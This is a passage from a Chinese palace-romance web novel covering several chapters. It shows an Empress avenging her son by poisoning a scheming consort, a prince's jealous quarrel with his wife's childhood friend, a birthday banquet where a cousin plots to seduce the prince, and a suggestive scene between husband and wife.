“我的皇儿根本没有病,他是被你们下毒了,蓝雨柔你真该死。”皇后想到这些年来自己为了楚御礼的病情郁郁不得志,为了能延续儿子的性命费劲了心思,这眼前这个女人表面对她关怀,暗地里却在嘲笑自己是一个蠢货,她就想亲手杀了蓝雨柔!
“哈哈哈,是我疏忽了,我早该想到的!”蓝雨柔痴笑,“但是你以为想要害死你儿子的人,只有我吗?”
“我知道你只是一只黄雀,而真正的螳螂另有其人。”皇后缓缓蹲下身子,捏住蓝雨柔的脸,端起地上托盘里面的酒杯把毒酒灌进蓝雨柔的嘴里强迫蓝雨柔吞了下去,皇后的脸上露出畅快的笑...
她把酒杯往地上一砸,看着因为毒发吐血的蓝雨柔,她低声道:“现在你**,下一个就轮到真正的螳螂了,无论是
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你还是冯茹英,要害我儿子的人,本宫都不会放过。”
“你们是怎么知道的?”蓝雨柔张嘴说话就又吐了一口鲜血。
皇后瞧着蓝雨柔痛苦的模样,笑了,“你说的是什么?是你们给御儿下毒又买通太医说御儿是胎弱的事情?还是你把沉香手串浸了毒还要经过贤妃的手送到本宫手中的事情?亦或者你送婳儿龙凤镯却在里面放了能致人落胎的香丸的事情?”
“你们都知道?”蓝雨柔瞪大通红的双眼,“为什么?你们明明知道为什么不揭穿我?”
“那时候揭穿你你会死吗?”皇后不等她回答就直接道,“不,你不会,只会有替罪羊替你**,我们要的是你全家都死。”
皇后说到这里呼吸都颤了颤,而躺在地上瞪大双眼的蓝雨柔也彻底没有了呼吸。
看着死不瞑目的蓝雨柔,皇后藏在袖中的手紧紧握成拳头,她抬起手用衣袖擦了一下眼角的泪水,片刻之后她恢复冰冷的表情,转身大步离开。
叶落宫外。
贤妃看着从冷宫中走出来的皇后,她上前给皇后行礼,皇后此时心情不好,没有心思和她说话,只是看了她一眼就抬步离开了。
贤妃加快脚步追上皇后,瞧着皇后的冰冷的面庞和微红的眼尾,贤妃叹气,“娘娘难过的话,就说出来吧,不要憋在心里。”
“她害**本宫未出世的孙儿,还要害本宫的皇儿,如今**,本宫畅快还来不及,怎么会难受!”皇后停下脚步转身看着贤妃,“你别以为你很了解本宫!”
“可您就是一个重感情的人啊。”贤妃叹了口气,“臣妾了解您,即便您再恨她,再想要她死,但是此时您心头一定还是难受的。”
“您难受就说出来,哭出来,在臣妾的面前,您不用装得那么坚强的。”贤妃握住皇后的手,低声道:“在臣妾这里您不是皇后,只是臣妾的姐姐。”
皇后垂眸看着淑妃的手,眼泪一滴一滴从眼眶中滑落。
不远处的长廊上,皇帝看到这一幕,叹了口气转身离开,福清连忙跟了上去,“皇后娘娘这十多年来对待蓝氏如同亲姐妹,如今知道蓝氏的真面目,心头定然很难受。”
第134章 你若护不住她我就带她走
宽大的朱雀大街上,楚御礼坐在马背上居高临下地看着拦了自己去路的赵旭庭,眉头微蹙,“赵公子有事?”
赵旭庭脸色冰冷的抬头看着楚御礼,沉声道:“御王殿下难道想要在下在这儿说吗?”
楚御礼握着缰绳的手微微收紧,他眯了眯眼睛,冷声道:“去前面茶楼坐坐吧。”
说罢他策马往前走去。
茶楼,雅室。
楚御礼看了一眼快步走进来的赵旭庭,对昭临道:“守好周围,不准任何人靠近。”
昭临应声,雅室的门随着他离开被合上。
赵旭庭站在屋内,目光沉沉地盯着楚御礼,后者抬眸与他对视,嘴角还带着一抹若有若无的冷笑,“赵公子有何话要说?”
赵旭庭瞧着楚御礼面对自己时候这毫无愧疚感的模样,心头非常为姜黎婳感到不值,他双手紧紧地握在身侧冷声道:“御王殿下!当初是你亲口说的会护她周全,保护好她和她腹中的孩子!如今她没了孩子,你竟然还有心思去参加早朝?”
“赵公子对我们夫妇之间的事情知道多少?”楚御礼瞧着赵旭庭这一副兴师问罪的模样,眼角微挑眼里闪过一丝凉薄之色,“你又是以什么身份来质问本王的?”
他慢条斯理地端起冒着热气的茶水轻轻用杯盖刮了一下漂浮的茶叶,却没有喝茶,他抬眸看着赵旭庭,“你不会以为与她一同在江南长大,她喊你一声哥,你就真的是她的兄长了吧?”
赵旭庭最听不得别人说他还姜黎婳的关系不好了,此时听到楚御礼这话,他气得太阳穴突跳,他往前走了两步,厉声道:“我与她青梅竹马,她唤我一声赵大哥,我就有权利关心她!你自己护不住她,却还要拦着我关心她吗?”
青梅竹马几个字彻底刺痛了楚御礼的耳朵,他啪的一声把茶杯扔回桌上,茶杯随之倒在高几上,茶水瞬间弄脏了高几,楚御礼站了起来,他往前走了一步,逼近赵旭庭,“你与她青梅竹马?什么青梅竹马?想去牵她的手却会被抗拒的青梅竹马吗?想要表明心意,却害怕被疏远的青梅竹马吗?明明喜欢得要死,却只敢以兄长的名义与之相处的青梅竹马吗?”
赵旭庭被他这几句话气得完全丧失了理智,他一把揪住楚御礼的衣领,双目赤红地瞪着楚御礼,嘶声道:“你胡说什么?”
楚御礼垂眸看了一眼他捏着自己衣领的手,轻轻挑了挑眉,“松开。”
赵旭庭手上的力度更紧了。
楚御礼嘴角一勾,冷笑,“赵公子还没有摆清楚自己的位置。
他抬手弹开赵旭庭的手,慢条斯理地整理被弄皱的衣襟,“本王入宫是处置害她胎死腹中的凶手,现在你满意了吗?”
赵旭庭自然知道他入宫的目的,只是他见不惯自己的妻子被害得落了胎,楚御礼却依旧一副云淡风轻的模样!
“你若再让她受伤害,我发誓一定要把他带离你的身边。”赵旭庭死死地盯着站在自己面前的楚御礼,“无论付出什么代价!”
“赵旭庭!”楚御礼一把揪住赵旭庭的衣襟,厉声道:“你大可以试试!”
暗处的冽风和沉鹤:“.......”
他们两个是相当无语的,两个大男人因为一件莫须有的事情在这里大打出手也是够了。
又不是真的怀孕,主子难道就不能说一声吗?
这赵公子看上去也不像是会告密的模样啊...
毕竟他这么喜欢王妃,应该不会想害死王妃吧?
赵旭庭不怕死地梗着脖子与楚御礼对视,“你若让她再....”
“算了,本王懒得与你多说。”楚御礼松开赵旭庭的衣领,冷声道:“既然赵公子这么关心本王的王妃,那你就随本王去王府探望她吧。”
楚御礼大步离开茶楼。
一直没有机会去看姜黎婳的赵旭庭闻言马上不和楚御礼计较了,大步跟上楚御礼。
御王府,梨月居中。
姜黎婳看着一脸委屈地站在自己面前的楚御礼,又看了一眼后面黑着脸的赵旭庭,她伸手去牵楚御礼的手,“王爷怎么把赵大哥给带过来了?”
楚御礼叹气,“赵公子怪为夫没有保护好你,差点对为夫大打出手了。”
他垂眸看着姜黎婳,颇有一副忍辱负重的感觉,“但他又是娘子你的青梅竹马,为夫不能把他如何,只能把人带回来看看你了。”
姜黎婳:“......”
她怎么从青梅竹马几个字里面闻到了那么重的酸味呢?
赵旭庭瞧着在姜黎婳面前完全变了一个人的楚御礼,他冷笑了一声,“御王殿下可真会装模作样!若不是我亲眼所见,还不知道原来御王
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殿下有两副面孔呢!”
楚御礼回头看了赵旭庭一眼懒得理他的冷嘲热讽,他在姜黎婳身边的床榻坐下,搂住姜黎婳的腰肢,低声问:“今天无不无聊?”
“还好,明珠她们刚离开没一会儿。”姜黎婳说着看了一眼被楚御礼忽略的赵旭庭,“赵大哥你坐。”
赵旭庭瞧着自己落了胎还要应付楚御礼的姜黎婳,他痛心道:“你以前不喜欢就是不喜欢,不愿意就是不愿意,从来不会迎合他人,如今落了胎,还要讨好他,你心头不难受吗?”
姜黎婳头上冒了一个问号,她什么时候讨好别人了?
楚御礼听着赵旭庭挑拨离间的话,勾起嘴角慢条斯理地帮姜黎婳整理有些凌乱的头发,“赵公子说为夫没有保护好你,要把你从为夫身边带走,还说你们是青梅竹马他有权利把你从为夫身边带走。”
楚御礼说到这里,垂下了眼眸,低声道:“娘子,若赵公子要带你走的话,你真的会跟他走吗?”
姜黎婳:“.......”
她就说先前他说话的时候怎么酸味那么重,原来是因为这个啊!
她有些无奈地偏头看向楚御礼,反问,“王爷会让我走吗?”
“若为夫真的伤害了娘子,娘子要离开的话,为夫自然会放手。”
当然,他是绝对不会伤害娘子的,也绝对不会给她离开的机会的!
姜黎婳挑眉,“真的?”
“为夫是绝对不会伤害你的。”楚御礼忽然握紧姜黎婳的手,“那娘子会因为别人离开为夫吗?”
他眼眸深邃、目光炽热,像是要把姜黎婳熔化在他的眼眸中一般。
“不会。”姜黎婳说罢侧首看向一旁脸色已经阴沉得快要滴出水的赵旭庭,轻声道:“赵大哥,以后你不要再说那些让王爷误会的话了,他很没安全感的。”
她身为**自然要做好当妻子的本分,不能让自己的丈夫没有安全感。
“到现在了,你还在乎他有没有安全感?”赵旭庭受伤地看着姜黎婳,“现在难道不是你没了孩子吗?”
姜黎婳面上的表情一僵,“忘了告诉你,我没有落胎。”
赵旭庭:“?”
姜黎婳轻笑,“事情有些复杂,但是我没有怀孕也没有落胎,这事儿你可别说出去。”
赵旭庭:“???”
第135章 她是因为喜欢表哥才这样
时间一晃又过去了好几日,到了楚御礼十九岁生辰这天。
过去的十几年楚御礼就像是跟老天爷偷时间,皇后害怕他真的不到二十就被老天爷收走性命,所以每年生辰皇后都刻意忽略,打算用忽略他的生辰来‘瞒天过海’忽略掉他的成长。
自从知道楚御礼生病是假,体内的毒已解之后,皇后就想大办楚御礼十九岁的生辰宴。
不过现在又遇到了姜黎婳小产,御王府的气氛也不适合把楚御礼的生辰宴大操大办,不过皇后还是做主请了亲朋好友到御王府小聚一下,顺便安慰一下姜黎婳。
今天亲自离宫来了御王府,去看了姜黎婳,瞧她脸色红润心情也并未受到影响,皇后欣慰地拉着她夸道:“好孩子,我就知道你不是那种轻而易举就被打倒的人,看到你如今没有因为失去腹中孩子而郁郁寡欢,母后就放心了。”
半靠在床头的姜黎婳听皇后这么说,眼底闪过一丝心虚,她倒不是什么乐天派的性格,如今因为肚子里面没有孩子所以才能保持好心情,但若她腹中的孩子是真的,她也不敢真的拿自己肚子中的孩子去算计别人。
“虽然没能留住孩子,但至少帮母后您肃清了身边的人。”姜黎婳低声道。
提起蓝雨柔,皇后的脸色瞬间沉了下去,她拍了拍姜黎婳的手背沉声道:“那沉香手串就是她动的手脚。”
皇后又在姜黎婳这儿待了片刻就起身打算去前院了,“你如今还不适合见风,今天就好好养身子,不要出来了,一会儿你若实在无聊,我就让人过来陪你。”
皇后离开了,原本冷清的御王府也变得热闹了起来,只是梨月居依旧冷清。
姜黎婳听到前院的嘈杂,翻身起来在床边坐下,其实她有些庆幸,还好自己这次在‘小产’了。不然身为女主人的她,一定得去招待宾客,她如今只是不抗拒与人交流了,但并不是社牛,这种场面她还真的招架不住。
知夏端着药膳走进来就看到姜黎婳坐在床边往窗外看,瞧着自家小姐这一副好奇的模样,她叹气,“听说王爷原本是不想让他们打扰您静养的,但皇后娘娘说这是王爷的十九岁生日,得好好操办一下。”
姜黎婳明白皇后的心思,她笑了笑,“咱们府上一直都冷冷清清的,热闹热闹也好。”
而且这也不是真正的大操大办,只是把亲朋好友请过来一起聚一聚,也没什么不好的。
姜黎婳喝了两口药膳汤就没胃口了,知夏拿了青梅蜜饯过来给她,“王妃您这几日一直没有胃口,要不要再请太医过来看看?”
“你忘了我的身份了?”姜黎婳看了一眼知夏手中的药膳鸡汤,“天天这么油腻的,再吃下去,我自己都要冒油了。”
知夏瞧着自己已经尽量熬得清淡的鸡汤,抿了抿嘴,“可是这...”
“端下去,再清淡也是肉汤,我不想吃了。”姜黎婳站起来活动了一下身子,“你们也去前院看看有没有需要帮忙的。”
“佩玉嬷嬷已经让铃铛去了,奴婢就留在院中照顾您。”
知夏退了下去,没一会儿院中传来说话声,姜黎婳听到响动就重新回到床榻上躺着,顺便把被自己扔到枕边的抹额戴在头上,看到两个妙龄女子相携进来,姜黎婳眉梢微挑,好像没见过啊。
“见过表嫂。”穿着杏色长裙、头发梳了一个简单的蝴蝶发髻的温婉少女率先给姜黎婳福身行礼。
另一个穿着桃红娟裙的娇俏少女也没什么表情的给姜黎婳见礼,“见过表嫂。”
姜黎婳对两人点了点头,“两位表妹客气了,快起来坐。”
又吩咐知夏去给两位上茶。
面容温婉的少女看了一眼身旁穿着桃红色娟裙的少女,笑着道:“表嫂莫要和妹妹一般见识,妹妹她平日不这样的。”
姜黎婳看了温婉少女一眼,这话的意思就是说她今天故意给自己脸色看的了?
“还不知道怎么称呼两位表妹呢。”姜黎婳垂眸叹了口气,“自从与王爷成亲以来琐事缠身,一直没来得及去镇国侯府拜会,还没来得及认识府上的表兄妹
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们,还请两位妹妹不要见怪。”
娇俏的少女闻言抬眸看了姜黎婳一眼,然后撇嘴道:“我叫裴湘宁。”
“我叫裴霜絮,表嫂唤我霜絮就行。”
姜黎婳轻轻颔首,“好的。”
自我介绍之后,三人又陷入了一阵沉默之中,片刻之后姜黎婳笑着道:“如今我这见不得风,只能在屋中静养,不能陪你们在后院转转,你们姐妹两人若是觉得无聊,可以自己去后院转转。”
裴湘宁的确坐不住,她站起来,“表嫂你这儿没什么事儿的话,那我就去转转,免得打扰你休息。”
她说罢看向裴霜絮,后者看了姜黎婳一眼,轻声道:“你自己去转转吧,表嫂这些日子一个人待着定然无聊至极,我陪表嫂聊聊天。”
裴湘宁耸肩,“随你。”
她给告辞离开。
看着她离开的背影,裴霜絮无奈地摇了摇头,有些歉意地看向姜黎婳,轻声道:“湘宁可能只是一时接受不了表嫂,以后她会慢慢接受现实的,表嫂您也别和她一般见识。”
姜黎婳眼里闪过一丝疑惑。
这话是什么意思啊?
瞧见姜黎婳眼底的疑惑,裴霜絮笑了笑,“湘宁从小就很喜欢表哥,甚至以前常说自己要当表哥的新娘,您与表哥成亲之后,她还在家中生了好久的闷气呢。”
姜黎婳眉梢轻轻一挑,这大表妹可真有意思。
裴霜絮见姜黎婳不说话,连忙解释道,“不过她那都是小孩子心性,表嫂您不必把她的心思放在心上。”
“大表妹和我说这些做什么?”姜黎婳不解地看向裴霜絮,“难道是想要我防着二表妹一些?”
裴霜絮连忙摇头,“我只是害怕表嫂您误会我们裴家的人瞧不上你,所以解释一下湘宁这样对您的原因。”
姜黎婳轻轻点了点头,“这样啊,那多谢大表妹为我着想了。”
裴霜絮:“......”
这反应正常吗?听到一个与自己丈夫青梅竹马的女子喜欢自己的丈夫,她竟然不生气?
第136章 赵公子就是这样挑拨我们夫妻关系的?
裴霜絮在姜黎婳屋中也没有坐多久,因为吕静雅过来了,裴霜絮瞧着走进来的吕静雅,起身告辞,姜黎婳让知夏送人,自己朝吕静雅招手,“你们也过来了?”
“我娘收到皇后娘娘的帖子了呀。”吕静雅走到姜黎婳床边坐下,“她怎么过来了?”
“她和二表妹过来陪我说了会儿话。”
吕静雅闻言点了点头,“那湘宁呢?我方才过来没有看到她。”
“去后花园逛去了。”姜黎婳看向吕静雅,不经意地问,“湘宁表妹以前喜欢王爷?”
吕静雅微微一顿,接着笑了,“喜欢御王殿下那一副皮囊的人很多吧,即便知道御王殿下活不过二十岁,还是有很多女子对御王殿下趋之若鹜。”
“是吗?”姜黎婳眉梢微挑,可之前楚御礼明明说过很多人瞧不上他这个病秧子的啊。
“湘宁以前和御王殿下的确关系还不错。”吕静雅回想了一下,抿嘴道,“她是喜欢热闹的性子,但是如果有御王殿下在场的时候,她总会去陪御王,不过往往那时候裴霜絮也会过去。”
花园。
裴湘宁站在假山后面看着朝自己这边走过来的裴霜絮,眼底闪过一丝犹豫。
裴霜絮走过来就看到了站在假山后面的裴湘宁,她笑着走上前,“先前怎么不多陪表嫂说会儿话,她如今刚刚小产,心情肯定不好,你平日里是最欢脱的,也最爱讲笑话,陪她说说话多好。”
裴湘宁看着面不改色的裴霜絮,眉头轻轻皱了起来,“你不是很瞧不上这出生商户的表嫂吗?怎么现在到了御王府就变了?”
“我没有瞧不上表嫂,只是在替表哥感到不值。”裴霜絮拉着裴湘宁的手,低声道:“表哥是什么人?是皇上和姑姑的嫡子,天之骄子,将来很可能是九五之尊,表嫂不过是一介商户之女,如何当得这天下之母?”
“那你刚刚还对她笑脸相迎?”裴湘宁目光审视,“你到底想做什么?”
“所以说你是小孩子心性。”裴霜絮嗔了裴湘宁一眼,低声道:“即便我心中再怎么觉得表嫂配不上表哥,她也已经是御王妃了,难道我们还能给她脸色看?”
裴湘宁眉头微蹙,“不喜欢就是不喜欢,为什么非要装作喜欢?”
“你是侯府嫡女,自然不喜欢就不喜欢,但我一个小小的庶女,总要学会看脸色的。”裴霜絮落寞的垂下眉头,“妹妹你是不懂这些的。”
裴湘宁瞧着裴霜絮这一脸委屈的模样就觉得心头堵得慌,她抿了抿嘴,沉声道:“那你还想嫁给表哥?不觉得自己配不上吗?”
裴霜絮:“.......”
真想拿根针把裴湘宁的嘴巴缝上!不会说话可以不说的!
想到自己还要利用裴湘宁,裴霜絮在心头告诫了自己好几声不要和裴湘宁这种蠢货生气,她脸上浮起笑容,“我自知自己的身份配不上表哥的正妻身份,所以以前我没想过要争,但是如今表哥已经娶了妻,我只想当....”
“你别说了,我不想听。”裴湘宁抿了抿嘴,“以前表哥没成亲,我可以帮你接近表哥,可是如今表哥已经成亲了,我可不想再帮你了,我劝你也最好别做傻事,你又不是不知道表哥多喜欢表嫂。”
“妹妹!你说过会帮我的!”裴霜絮一把抓住裴湘宁的手,“我没想过要和表嫂争,我只是想陪在表哥身边罢了!”
裴湘宁眉头紧促,“可是表哥已经成亲了!而且现在表嫂刚刚小产,你若在这时候爬上表哥的床,会被世人唾弃的!”
“可是今天是我唯一的机会啊。”裴霜絮咬了咬嘴唇,“表哥自从成亲之后都很少来我们侯府了,更别提在府上过夜了,我如果把握不住这次机会的话,我就...”
“行了,反正我不会答应的。”裴湘宁冷着脸道:“你自己好好想想吧,我去前院找母亲和姑姑了。”
看着裴湘宁离开的背影,裴霜絮双手逐渐握紧,如果是以前的话,她定然是不屑接近楚御礼当他的侧妃的,可如今楚御礼身子大好了,将来很可能登上大统,那她身为他的侧妃,身份定然也会水涨船高,即便当不了皇后,楚御礼看在镇国侯府的面子上,也会给她一个妃位的。
以前她那位嫡母处处防着她生怕自己爬到大皇子的床上,她也害怕这个表哥真的活不过二十岁,自己嫁过来之后守寡受苦,所
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以只敢若有若无地接近,在这个皇子表哥面前留下印象。
如今他的身体已经恢复康健了,她的机会来了啊!
她为什么不能为自己博一条好出路?
现在姜黎婳这个正妃小产不能伺候人,正是她的机会,为什么裴湘宁不愿意帮自己?
裴霜絮转身看向姜黎婳居住的梨月居,姜黎婳是有几分姿色,但是她有信心,只要让表哥碰了她,以后一定会食髓知味的!即便姜黎婳如今受宠,她也有信心让表哥以后都只宠爱她一人。
正在和吕静雅聊天的姜黎婳猛地打了两个喷嚏,吕静雅见状连忙站起来去把屋门关上,“是不是见风了?”
“不是,只是鼻子有些痒。”她揉了揉鼻子,带着一些鼻音,“把门打开吧,通通风。”
“还是别开着了,若着凉了就不好了。”
吕静雅又陪着她聊了会儿天才告辞去了前院。
晌午。
前院又传来了一阵喧闹声,姜黎婳听到外面的声音,轻轻一笑,她想楚御礼现在应该很开心,毕竟这是这么多年来,他第一次这么隆重的过自己的生日。
“他们在前院庆贺,你却被扔在这里一个人,这真的是你想要的吗?”赵旭庭无奈的声音从门口传来。
姜黎婳抬眸看去,赵旭庭穿着一身淡蓝色的长袍站在自己门口,看着她的眼神意味不明。
“我现在不适合出门,自然要在这里静养。”姜黎婳轻笑,“王爷还给赵大哥也下了请贴?”
赵旭庭垂眸,“是皇后娘娘下的,应该是前几日我过来看你的事情被人知道了,皇后以为我与御王交好,便给我也下了帖子。”
“与江南节度使的儿子交好,的确对王爷有所助理。”姜黎婳收回目光,摸了摸额头上的抹额,“赵大哥去前院喝酒吧,我一个人待着挺好的。”
“被冷落叫好吗?”赵旭庭目光沉沉的看着姜黎婳,“这真的是你想要的?现在他楚御礼被众星捧月,而你这个帮了他的人却被遗忘了,你这么为他付出,值得吗?”
“赵公子就是这样背着本王挑拨本王与本王娘子之间关系的?”楚御礼凉凉的声音在赵旭庭身后响起。
第138章 三皇子:总有人想害我
前院。
楚御礼瞧着提着贺礼而来的几个弟弟妹妹,他眉梢微挑,最后把目光放在了楚巍澜身上,他语气温和如同一个关爱弟妹的兄长,“听说你这几日身子不爽,其实你不必勉强自己过来的。”
楚巍澜听楚御礼这话,只觉得鼻子发酸,先前在来的路上二哥对他冷嘲热讽,四弟也不愿意与他说话,五妹和六妹也像是刻意避嫌不再像以前那样亲近,反倒是大皇兄这个受害人反而对他温和有加。
“大皇兄,我虽然不知道母妃的所作所为,但她犯下那些错事,却全都是因为我。”他抬手躬身,郑重地对楚御礼行礼,“我该给大皇兄道歉,而不是当一个缩头乌龟躲在家中不见您。”
楚御礼伸手扶了楚巍澜一下,“那些事情不是你所为,所以你也没必要为了旁人所做的事情自责,更无需道歉。”
“大皇兄,你真的不会怪我吗?”楚巍澜眼眸通红的抬头看着楚御礼。
楚御礼看着楚巍澜那略显稚气的脸庞,心头叹了口气,楚巍澜如今才十五岁,不过是一个大男孩,现在遇到了这么大的事情,能够想通过来给他道歉,已经是难得了。
“不怪你,你能在正义和亲情面前选择正义,大皇兄就已经觉得你很了不起了。”楚御礼拍了拍楚巍澜的肩膀,“皇兄相信,你这样正义的人,将来定然会成为顶天立地的男子汉。”
刚失去了母亲和外祖一家的楚巍澜,瞬间觉得自己心头缺失的那一块好像一下子就被补齐了。
他抬头看着英俊高大的皇兄,抿嘴笑了,“皇兄你放心,弟弟以后一定会成为一个能为楚国效忠的男子汉!”
“不错。”楚御礼点头,“那皇兄我就拭目以待了。”
楚巍澜有些腼腆的点了点头,又忍不住抬头看皇兄,生怕自己方才经历的一切都是做梦。
但他觉得不是梦,身体恢复了健康的皇兄就是一个关心弟弟和颜悦色的好兄长。
根本不像以前那样阴晴不定爱随便揍人。
这么好的皇兄,母妃为什么非要害死他呢?
一旁的楚明暄看到楚巍澜对楚御礼那一副崇拜的模样,直接明目张胆地翻了一个白眼,他在心头呸了一声,骂了楚巍澜一句蠢货,然后对着楚御礼冷笑,“皇兄可真会收买人心,明明是人家的杀母仇人,短短两句话,就成了他崇拜的对象,弟弟可真是佩服皇兄。”
“二皇兄你莫要胡说!”楚巍澜梗着脖子,面红耳赤地瞪楚明暄,“母妃她是咎由自取,和大皇兄有什么关系!”
二皇兄太毒了吧!
他母妃都**,二皇兄竟然还咬着他不放!
这件事情明明就是母妃做错了,才会被父皇赐死,他这话说得就好像母妃是被大皇兄给害死的一样!
这不是挑拨他去找大皇兄报仇吗?
若让父皇知道了,会不会怀疑他也包藏贼心?然后赐死他?
想到这里,十五岁的三皇子破防了。
他大声朝还没来得及开口说话的楚明暄吼道:“二皇兄你少挑拨我和大皇兄的关系!若真要说害死我母妃,二皇兄才是推波助澜的那个人!”
哼,那天你在太庙的长廊上,上蹿下跳地在父皇面前告状的模样我还记得一清二楚呢!
现在竟然想往大皇兄身上泼脏水,简直不要脸!
楚巍澜在心头狠狠地朝楚明暄吐了口唾沫。
楚明暄简直无了个大语,他还真的第一次见楚巍澜这种把杀母仇人当救命恩人的蠢货。
楚御礼懒得理会楚明暄的心思,他挑眉看着楚明暄,“若想继续吵下去你们就滚出去吵。”
楚明暄撇嘴,这时候皇后那边也注意到了这边几兄弟的动静,她笑着喊楚明暄,“束郡王,慧妃可是让你把她抄写的经书送过来了?”
楚明暄听到皇后这话咬了咬牙,在心头骂了皇后一句,这才拱手对皇后应是。
皇后闻言笑了,“慧妃有心了。”
她唤来佩蓉,“你帮御王把慧妃亲手抄的佛经收起来,等今日之后送到国安寺供奉起来,为御王祈福。”
佩蓉应了声是,接过楚明暄身后太监手中的托盘回到皇后的身边。
皇后这时候才朝一直站在旁边没说话的五六公主和鲁卿秋招手,“你们都别在那边站着了,他们兄弟几人有话要说就随他们去,你们过来入席吧。”<
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br>鲁卿秋等人走了过去,鲁卿秋给皇后见了礼,率先道:“妾身想先去看望一下大皇嫂。”
皇后含笑点头,“去吧,婳儿在屋中待了那么久,正是无趣的时候,你陪她说说话也好。”
皇后答应了,立刻有王府的婢女过来给鲁卿秋带路去姜黎婳的院子。
坐在镇国侯世子夫人秦氏身后的裴霜絮瞧皇后提起姜黎婳时候的和颜悦色,当即心思又活络了起来,姑姑对一个商户女都能这样慈祥和蔼,那即便自己一时犯错与大皇兄有了肌肤之亲,那她一定会看在自己是她侄女的份上不会苛责她的。
“你想干什么?”裴湘宁瞧着裴霜絮眼神发光的模样瞬间警铃大作,她眯眼看着裴霜絮,压低声音冷声道:“你还要不要自己的名声了?你若真的做出那种毁了府上女眷名声的事情,你觉得母亲会放过你吗?”
裴霜絮活络的心思一下子就冷了下去,依照嫡母的性子,若自己真的在今日的宴席上做出了那种事情,那为了自己这个嫡妹的名声,嫡母都很有可能把她头发剃了送到庵堂当姑子。
她还真是一时心急,差点害了自己。
她藏在袖中的手逐渐收拢,接着朝裴湘宁露出一抹比哭还难看的笑容,“你说得对,我不能为了我自己就毁了我们整个府上的名声。”
她说到这里一把抓住裴湘宁的手,低声道:“但是妹妹,你能不能帮我约一下表哥,我只想和表哥确认一下他的心意,若表哥真的对我无意的话,回去之后我就答应母亲的意愿与人定亲。”
裴湘宁咬了咬嘴唇,沉声道:“你要听表哥说什么?”
裴霜絮抿嘴,“我就想知道表哥曾经是否对我有意。”
“可是表哥已经成亲了,你身为侯府小姐应当知道进退,这时候表嫂小产,我们更应该避嫌!”裴湘宁一激动声音有点大了,前面的秦氏回头看了她一眼,“吵吵嚷嚷做什么?没点大家闺秀的样子,安分点,别给侯府丢脸。”
裴湘宁吐了吐舌头应了声是,然后压低声音对裴霜絮道,“今天绝对不行,你若想知道表哥以前的心意,以后有的是时间问,你别犯糊涂。”
第139章 醉酒王爷化身磨人妖精
宴席散去,热闹的御王府又恢复了冷清。
楚御礼带着浑身酒气回到梨月居,姜黎婳瞧着他眼神迷离,脸颊微红的模样连忙站起来去扶他,“王爷你这身子刚好,怎么喝这么多酒?”
听到她略带责怪的话,楚御礼笑了笑,他俯下身子把下颚靠在姜黎婳的肩膀上,轻声道:“今天有点难受又有点开心,所以就喝了点。”
他晃晃悠悠的,姜黎婳害怕他摔倒,伸手扶着他的腰,“为什么有点难受又有点开心?”
“娘子。”楚御礼的头往她的颈窝拱了拱,语气闷闷地说,“今天是我十四年来第一次过生日,我很开心。”
姜黎婳听他这么说,心就像是被揪着弹了一下,有些扯着疼。
她伸手拍了拍楚御礼的后背,低声道:“以后每年你的生日,我们都这样庆祝。”
楚御礼嗯了一声,双手抱着姜黎婳纤细的腰肢,“娘子你以后会一直陪着我庆祝生辰的,对吗?”
姜黎婳闻言整个人微微一僵,楚御礼像是感受到了她的僵硬,他慢慢推开姜黎婳,眸光深深地看着她,声音沙哑,“娘子,你不愿意一直陪着为夫吗?”
看着他这有些委屈的模样,姜黎婳不自觉地摇头否认,“当然不是,我是王爷的王妃,以后自然会一直陪着王爷的。”
“那我们真的生一个孩子吧。”楚御礼满眼柔情的看着姜黎婳,他伸手摸了摸姜黎婳的脸颊,柔声问,“咱们生一个属于我们两个人的孩子,好不好?”
有了孩子为羁绊,她应该就不会想着离开他了。
想到这里楚御礼的酒忽然醒了不少,他原本迷离的眸光逐渐变得清明,看到怔愣的姜黎婳,他往后退了一步,低声道:“抱歉,我可能喝醉了。”
他到底什么时候变成这样了?害怕留不住她,竟然想用孩子留住她了吗?
他转身欲走,手却忽然被姜黎婳抓住。
他回眸,姜黎婳抬眸与他对视,轻声问:“王爷要去哪儿?”
“我去书房。”楚御礼眸光晦涩,“你不用等我。”
“我们先把话说清楚你再去。”姜黎婳抓着楚御礼的手没有松开,而是吩咐知夏把房门关上,她扶着楚御礼在里屋的软榻上坐下,给姜黎婳倒了一杯茶,“王爷先喝口茶。”
楚御礼听话的端起茶杯喝茶,把茶水一饮而尽之后,他抬眸看着姜黎婳,眼神有些闪躲,“你想说什么?”
他想若她要说离开的话,那他就假装没听到,然后起身离开!明儿个他就装作今日醉酒了,什么都不知道!
“我与王爷成亲以来一直都有夫妻之实,但却一直没有怀孕,王爷是不是有些介意?”姜黎婳看着楚御礼,语气有些沉重,“若一直无法怀孕的话,王爷是不是会纳妾?”
楚御礼的酒这下完全醒了,他脸色冰冷的看着姜黎婳,第一次在姜黎婳面前发了脾气,他语气冰冷又危险,“你想给我纳妾?”
姜黎婳眉头微蹙,“王爷想纳妾不是不可以,但我这个人有毛病王爷是知道的,若王爷纳妾了以后,就不能碰我了。”
“你为了不让我碰你,想给我纳妾?”楚御礼拽住姜黎婳的手腕猛地站起来,“你就这么想离开?”
姜黎婳沉声道:“不是你想要一个孩子吗?”
他们成亲了这么久,夫妻之事也做了不少次了,可是她一直没有怀孕,他想要一个自己的孩子,不就得纳妾吗?
“我要的是和你的孩子。”楚御礼怒声吼道。
姜黎婳被他吼得一个激灵,手腕又被他捏得生疼,但是听到楚御礼刚刚的话,她又忽略了手腕上的疼痛,她抬头望着他,喃喃道:“可是我们也不是没有夫妻之实,我也一直没有...”
“那是因为做得太少了。”楚御礼拽着她的手腕往自己这边一扯,把人一把抱起,他垂眸睨着惊呼了一声之后双手抱着自己脖子的美人儿,“从成亲以来,咱们夫妇的房事用手指头都数得过来,怀不上很正常。”
姜黎婳听到他这话,原本白皙的脸瞬间变得通红,她不敢抬头去看他,只低声道,“你要做什么?”
“娘子觉得呢?”楚御礼抱着她太不就朝隔间走去,“从今往后咱们夫妇每夜行房,直到娘子怀上为止。”
翌日。
姜黎婳在楚御礼怀中醒过来,她抬眸看着面容如雕刻般精致俊美的男人,忍不住伸手在他高挺的鼻梁上轻轻摸了摸,熟睡的男人抬手抓住她的手腕,声音沙哑,“娘子不累?”
姜黎婳:“.......”
她被拉着手腕转了个身,俊
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美的男人眼眸深深地看着她美艳的脸颊,低压着嗓音道:“时辰还早,不如再来一次?”
姜黎婳拒绝的话被堵在了喉咙中,她震惊的瞪大双眼,这人的体力到底有多好?
